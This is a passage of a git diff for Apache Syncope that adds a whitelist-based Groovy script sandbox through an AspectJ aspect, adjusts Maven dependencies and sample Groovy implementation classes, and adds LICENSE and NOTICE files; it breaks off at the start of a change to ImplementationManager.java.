diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAccountRule.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAccountRule.groovy index 6768799e632..2335a3883dd 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAccountRule.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAccountRule.groovy @@ -16,12 +16,10 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.core.provisioning.api.rules.AccountRule import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount import org.apache.syncope.core.persistence.api.entity.user.User -@CompileStatic class MyAccountRule implements AccountRule { void enforce(String username) { diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAttrValueValidator.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAttrValueValidator.groovy index 7998e986af4..b6d0b7d998c 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAttrValueValidator.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyAttrValueValidator.groovy @@ -16,12 +16,10 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.core.persistence.api.attrvalue.PlainAttrValueValidator import org.apache.syncope.core.persistence.api.entity.PlainAttrValue import org.apache.syncope.core.persistence.api.entity.PlainSchema -@CompileStatic class MyAttrValueValidator implements PlainAttrValueValidator { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyCommand.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyCommand.groovy index 792f1a64da3..20cdfdf72a5 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyCommand.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyCommand.groovy @@ -16,11 +16,9 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.command.CommandArgs import org.apache.syncope.core.provisioning.api.macro.Command -@CompileStatic class MyCommand implements Command { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyDropdownValueProvider.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyDropdownValueProvider.groovy index f162b8e9f7a..a86881a517a 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyDropdownValueProvider.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyDropdownValueProvider.groovy @@ -16,12 +16,10 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.List import org.apache.syncope.common.lib.to.AttributableTO import org.apache.syncope.core.persistence.api.attrvalue.DropdownValueProvider -@CompileStatic class MyDropdownValueProvider implements DropdownValueProvider { List getChoices(AttributableTO attributableTO) { return [] diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyInboundActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyInboundActions.groovy index 1e0156f2fd8..da0bb1cb4f6 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyInboundActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyInboundActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Set import org.apache.syncope.common.lib.request.AnyCR import org.apache.syncope.common.lib.request.AnyUR @@ -34,7 +33,6 @@ import org.apache.syncope.core.provisioning.api.pushpull.ProvisioningProfile import org.apache.syncope.core.provisioning.api.pushpull.InboundActions import org.identityconnectors.framework.common.objects.LiveSyncDelta -@CompileStatic class MyInboundActions implements InboundActions { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyInboundCorrelationRule.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyInboundCorrelationRule.groovy index e3d24d45882..cd51e2798d1 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyInboundCorrelationRule.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyInboundCorrelationRule.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.persistence.api.dao.InboundCorrelationRule import org.apache.syncope.core.persistence.api.dao.search.SearchCond import org.identityconnectors.framework.common.objects.LiveSyncDelta -@CompileStatic class MyInboundCorrelationRule implements InboundCorrelationRule { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyItemTransformer.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyItemTransformer.groovy index 05010d90594..74b606667d1 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyItemTransformer.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyItemTransformer.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.List; import org.apache.commons.lang3.tuple.Pair import org.apache.syncope.common.lib.to.EntityTO @@ -26,7 +25,6 @@ import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.PlainAttrValue import org.apache.syncope.core.provisioning.api.data.ItemTransformer -@CompileStatic class MyItemTransformer implements ItemTransformer { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLiveSyncDeltaMapper.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLiveSyncDeltaMapper.groovy index 92bf1d3455e..4f08afbcc60 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLiveSyncDeltaMapper.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLiveSyncDeltaMapper.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.provisioning.api.LiveSyncDeltaMapper import org.identityconnectors.framework.common.objects.LiveSyncDelta import org.identityconnectors.framework.common.objects.SyncDelta -@CompileStatic class MyLiveSyncDeltaMapper implements LiveSyncDeltaMapper { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLogicActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLogicActions.groovy index b176acd1d1a..5809a335d4f 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLogicActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyLogicActions.groovy @@ -16,14 +16,12 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.request.AnyCR import org.apache.syncope.common.lib.request.AnyUR import org.apache.syncope.common.lib.to.AnyTO import org.apache.syncope.common.lib.to.PropagationStatus import org.apache.syncope.core.logic.api.LogicActions -@CompileStatic class MyLogicActions implements LogicActions { @Override @@ -55,4 +53,4 @@ class MyLogicActions implements LogicActions { A afterDelete(A input, List statuses) { return input; } -} \ No newline at end of file +} diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyMacroActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyMacroActions.groovy index 7225982dc3e..588a3e1e7ac 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyMacroActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyMacroActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.io.Serializable import java.util.Map import java.util.Optional @@ -27,7 +26,6 @@ import org.apache.syncope.core.provisioning.api.macro.Command import org.apache.syncope.core.provisioning.api.macro.MacroActions import org.apache.syncope.core.provisioning.api.macro.Command.Result -@CompileStatic class MyMacroActions implements MacroActions { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPasswordRule.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPasswordRule.groovy index a73034060d7..5e1efa3c2c5 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPasswordRule.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPasswordRule.groovy @@ -16,12 +16,10 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.core.provisioning.api.rules.PasswordRule import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount import org.apache.syncope.core.persistence.api.entity.user.User -@CompileStatic class MyPasswordRule implements PasswordRule { void enforce(String username, String clearPassword) { diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPropagationActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPropagationActions.groovy index 0e170bfc709..fe7d287c95c 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPropagationActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPropagationActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Optional import java.util.Set import org.apache.syncope.common.lib.to.OrgUnit @@ -26,7 +25,6 @@ import org.apache.syncope.core.provisioning.api.propagation.PropagationActions import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; import org.identityconnectors.framework.common.objects.ConnectorObject -@CompileStatic class MyPropagationActions implements PropagationActions { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyProvisionSorter.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyProvisionSorter.groovy index 6605e7ecc6c..2b4b123f44f 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyProvisionSorter.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyProvisionSorter.groovy @@ -16,11 +16,9 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.provisioning.api.ProvisionSorter -@CompileStatic class MyProvisionSorter implements ProvisionSorter { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushActions.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushActions.groovy index 63ed115a7ee..801eebfeae3 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushActions.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushActions.groovy @@ -16,7 +16,6 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Set import org.apache.syncope.common.lib.to.ProvisioningReport import org.apache.syncope.core.persistence.api.entity.Entity @@ -24,7 +23,6 @@ import org.apache.syncope.core.provisioning.api.job.JobExecutionException import org.apache.syncope.core.provisioning.api.pushpull.ProvisioningProfile import org.apache.syncope.core.provisioning.api.pushpull.PushActions -@CompileStatic class MyPushActions implements PushActions { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushCorrelationRule.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushCorrelationRule.groovy index 82cb7bff86e..a7fb652e4b1 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushCorrelationRule.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyPushCorrelationRule.groovy @@ -16,14 +16,12 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.to.Provision import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.ExternalResource import org.identityconnectors.framework.common.objects.filter.Filter -@CompileStatic class MyPushCorrelationRule implements PushCorrelationRule { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyRecipientsProvider.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyRecipientsProvider.groovy index 48c45e3a4dd..f5ac55d7bc2 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyRecipientsProvider.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyRecipientsProvider.groovy @@ -16,14 +16,12 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import java.util.Map import java.util.Set import org.apache.syncope.core.persistence.api.entity.Any import org.apache.syncope.core.persistence.api.entity.Notification import org.apache.syncope.core.provisioning.api.notification.RecipientsProvider -@CompileStatic class MyRecipientsProvider implements RecipientsProvider { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReconFilterBuilder.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReconFilterBuilder.groovy index 7c07828dcff..7838c824dd0 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReconFilterBuilder.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReconFilterBuilder.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.core.provisioning.api.pushpull.ReconFilterBuilder import org.identityconnectors.framework.common.objects.ObjectClass import org.identityconnectors.framework.common.objects.filter.Filter import org.identityconnectors.framework.impl.api.local.operations.FilteredResultsHandler -@CompileStatic class MyReconFilterBuilder implements ReconFilterBuilder { @Override diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReportJobDelegate.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReportJobDelegate.groovy index 368166288a3..06efce5b1f2 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReportJobDelegate.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MyReportJobDelegate.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.report.ReportConf import org.apache.syncope.core.provisioning.api.job.JobExecutionContext import org.apache.syncope.core.provisioning.api.job.JobExecutionException import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate -@CompileStatic class MyReportJobDelegate implements ReportJobDelegate { void setConf(ReportConf conf) { diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MySchedTaskJobDelegate.groovy b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MySchedTaskJobDelegate.groovy index 50ecae3be6b..20d033abd80 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MySchedTaskJobDelegate.groovy +++ b/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/implementations/MySchedTaskJobDelegate.groovy @@ -16,13 +16,11 @@ * specific language governing permissions and limitations * under the License. */ -import groovy.transform.CompileStatic import org.apache.syncope.common.lib.types.TaskType import org.apache.syncope.core.provisioning.api.job.JobExecutionContext import org.apache.syncope.core.provisioning.api.job.JobExecutionException import org.apache.syncope.core.provisioning.api.job.SchedTaskJobDelegate -@CompileStatic class MySchedTaskJobDelegate implements SchedTaskJobDelegate { @Override diff --git a/client/idrepo/enduser/LICENSE b/client/idrepo/enduser/LICENSE new file mode 100644 index 00000000000..5f721c71630 --- /dev/null +++ b/client/idrepo/enduser/LICENSE @@ -0,0 +1,226 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + +== + +For Admin LTE (https://github.com/almasaeed2010/AdminLTE/): +This is licensed under the terms of the MIT license: + + Permission is hereby granted, free of charge, to any person obtaining + a copy of this software and associated documentation files (the + "Software"), to deal in the Software without restriction, including + without limitation the rights to use, copy, modify, merge, publish, + distribute, sublicense, and/or sell copies of the Software, and to + permit persons to whom the Software is furnished to do so, subject to + the following conditions: + + The above copyright notice and this permission notice shall be + included in all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/client/idrepo/enduser/NOTICE b/client/idrepo/enduser/NOTICE new file mode 100644 index 00000000000..25f0e269976 --- /dev/null +++ b/client/idrepo/enduser/NOTICE @@ -0,0 +1,13 @@ +Apache Syncope +Copyright 2012-2025 The Apache Software Foundation + +This product includes software developed by: +The Apache Software Foundation (http://www.apache.org/). + +The following copyright notice(s) were affixed to portions of this code +with which this file is now or was at one time distributed. + +== + +This product includes software developed by the AdminLTE project. +Copyright (c) 2014-2017 Abdullah Almsaeed diff --git a/core/idrepo/logic/pom.xml b/core/idrepo/logic/pom.xml index ca3b8c2b237..611647a3f91 100644 --- a/core/idrepo/logic/pom.xml +++ b/core/idrepo/logic/pom.xml @@ -47,11 +47,6 @@ under the License. spring-context-support - - org.aspectj - aspectjweaver - - org.apache.tika tika-core diff --git a/core/persistence-api/pom.xml b/core/persistence-api/pom.xml index c320f2f12b0..563d1a21219 100644 --- a/core/persistence-api/pom.xml +++ b/core/persistence-api/pom.xml @@ -60,7 +60,41 @@ under the License. net.tirasa.connid slf4j-logging - + + + org.apache.groovy + groovy + + + org.apache.groovy + groovy-templates + + + org.apache.groovy + groovy-xml + + + org.apache.groovy + groovy-jsr223 + + + org.apache.groovy + groovy-datetime + + + org.apache.groovy + groovy-dateutil + + + org.apache.groovy + groovy-sql + + + + net.tirasa + groovy-security-sandbox + + org.apache.syncope.common.idm syncope-common-idm-lib diff --git a/core/persistence-jpa/src/test/resources/domains/MasterContent.xml b/core/persistence-jpa/src/test/resources/domains/MasterContent.xml index 9e02cede0c3..2f7eaebc486 100644 --- a/core/persistence-jpa/src/test/resources/domains/MasterContent.xml +++ b/core/persistence-jpa/src/test/resources/domains/MasterContent.xml @@ -165,7 +165,7 @@ under the License. mandatoryCondition="false" multivalue="0" uniqueConstraint="0" readonly="0" enumValues='{"M":"Male","F":"Female"}'/> + body='import java.util.List import org.apache.syncope.common.lib.to.AttributableTO import org.apache.syncope.core.persistence.api.attrvalue.DropdownValueProvider class TestDropdownValueProvider implements DropdownValueProvider { List<String> getChoices(AttributableTO attributableTO) { return ["A", "B"] } }'/> + body='import java.util.List import org.apache.syncope.common.lib.to.AttributableTO import org.apache.syncope.core.persistence.api.attrvalue.DropdownValueProvider class TestDropdownValueProvider implements DropdownValueProvider { List<String> getChoices(AttributableTO attributableTO) { return ["A", "B"] } }'/> diff --git a/core/provisioning-java/pom.xml b/core/provisioning-java/pom.xml index f2b0af59e1a..1d9bbc46052 100644 --- a/core/provisioning-java/pom.xml +++ b/core/provisioning-java/pom.xml @@ -64,35 +64,6 @@ under the License. pdfbox - - org.apache.groovy - groovy - - - org.apache.groovy - groovy-templates - - - org.apache.groovy - groovy-xml - - - org.apache.groovy - groovy-jsr223 - - - org.apache.groovy - groovy-datetime - - - org.apache.groovy - groovy-dateutil - - - org.apache.groovy - groovy-sql - - org.apache.syncope.core syncope-core-workflow-api diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java index 505d5adab80..bd6a79bf141 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/job/AbstractSchedTaskJobDelegate.java @@ -198,7 +198,7 @@ public void execute( message = doExecute(context); status = TaskJob.Status.SUCCESS.name(); result = OpEvent.Outcome.SUCCESS; - } catch (JobExecutionException e) { + } catch (SecurityException | JobExecutionException e) { LOG.error("While executing task {}", taskKey, e); message = ExceptionUtils2.getFullStackTrace(e); diff --git a/core/spring/pom.xml b/core/spring/pom.xml index 3db1091aba9..ef3cc0c5c5d 100644 --- a/core/spring/pom.xml +++ b/core/spring/pom.xml @@ -81,8 +81,8 @@ under the License. - org.apache.groovy - groovy + org.aspectj + aspectjweaver diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java new file mode 100644 index 00000000000..ece31ad6119 --- /dev/null +++ b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/GroovySandbox.java @@ -0,0 +1,52 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.spring.implementation; + +import org.aspectj.lang.ProceedingJoinPoint; +import org.aspectj.lang.annotation.Around; +import org.aspectj.lang.annotation.Aspect; +import org.jenkinsci.plugins.scriptsecurity.sandbox.Whitelist; +import org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor; +import org.kohsuke.groovy.sandbox.GroovyInterceptor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +@Aspect +public class GroovySandbox { + + protected static final Logger LOG = LoggerFactory.getLogger(GroovySandbox.class); + + protected final Whitelist whitelist; + + public GroovySandbox(final Whitelist whitelist) { + this.whitelist = whitelist; + } + + @Around("execution(* *(..))") + public Object around(final ProceedingJoinPoint joinPoint) throws Throwable { + GroovyInterceptor interceptor = new SandboxInterceptor(whitelist); + try { + interceptor.register(); + + return joinPoint.proceed(); + } finally { + interceptor.unregister(); + } + } +} diff --git a/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java b/core/spring/src/main/java/org/apache/syncope/core/spring/implementation/ImplementationManager.java index 4cd2af291ab..fdae7eb2150 100644 --- 